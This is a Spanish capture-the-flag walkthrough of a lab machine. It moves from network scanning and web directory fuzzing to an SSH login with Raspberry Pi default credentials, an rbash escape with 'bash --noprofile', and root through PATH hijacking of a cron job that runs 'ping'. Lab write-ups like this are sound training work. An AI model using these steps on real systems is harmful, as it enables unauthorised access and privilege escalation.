Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutaremos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.42
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.42
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn 10.0.2.42 -sVC
Como podemos comprobar la Máquina Victima tiene abierto el puerto 22 y 80.
Comprobamos que es lo que corre en el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.42 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Encontramos el directorio
tasklist, accedemos a el.
Encontramos una lista de tareas, y en una de ellas dice de "actualizar raspberry".
Hacemos una búsqueda en internet de credenciales por defecto de Raspberry.
Encontramos las credenciales pi:raspberry.
A continuación, nos conectamos por ssh, para ello ejecutamos el siguiente comando:
$ ssh pi@10.0.2.42
Introducimos la contraseña obtenida anteriormente.
¡¡¡Somos pi!!!
Al intentar enumerar binarios con el bit SUID, nos damos cuenta de que estamos en una shell restringida rbash.
Nos desconectamos del sistema, y nos volvemos a conectar por ssh ignorando tanto el archivo de inicio de todo el sistema /etc/profile como los archivos de inicio a nivel de usuario ~/.bash_profile, ~/.bash_login y ~/.profile, para ello ejecutamos el siguiente comando:
$ ssh pi@10.0.2.42 -t "bash --noprofile"
Enumeramos las tareas crontab, para ello ejecutamos el siguiente comando.
$ cat /etc/crontab

Nos encontramos que dentro de este fichero en el PATH tenemos /var/www/html antes que el PATH de /usr/bin que es donde se encuentra el verdadero binario ping, teniendo permisos de escritura sobre /var/www/html, y el usuario root ejecuta el comando ping sin establecer el path como ruta absoluta si no como ruta relativa, siendo esto vulnerable a PATH Hijacking en cron, por lo tanto, creamos un binario llamado ping dentro de /var/www/html, para ello ejecutamos el siguiente comando:
$ nano ping
Le damos permisos de ejecución al binario, para ello ejecutamos el siguiente comando:
$ chmod +x ping
Esperamos a que se ejecute el binario, nos dirigimos al directorio /tmp y ejecutamos el binario bash con la opción -p para que preserve los privilegios efectivos, para ello ejecutamos los siguientes comandos:
$ cd /tmp
$ ./bash -p
¡¡¡Ya somos root!!!
Ya podemos leer las flags de user y root.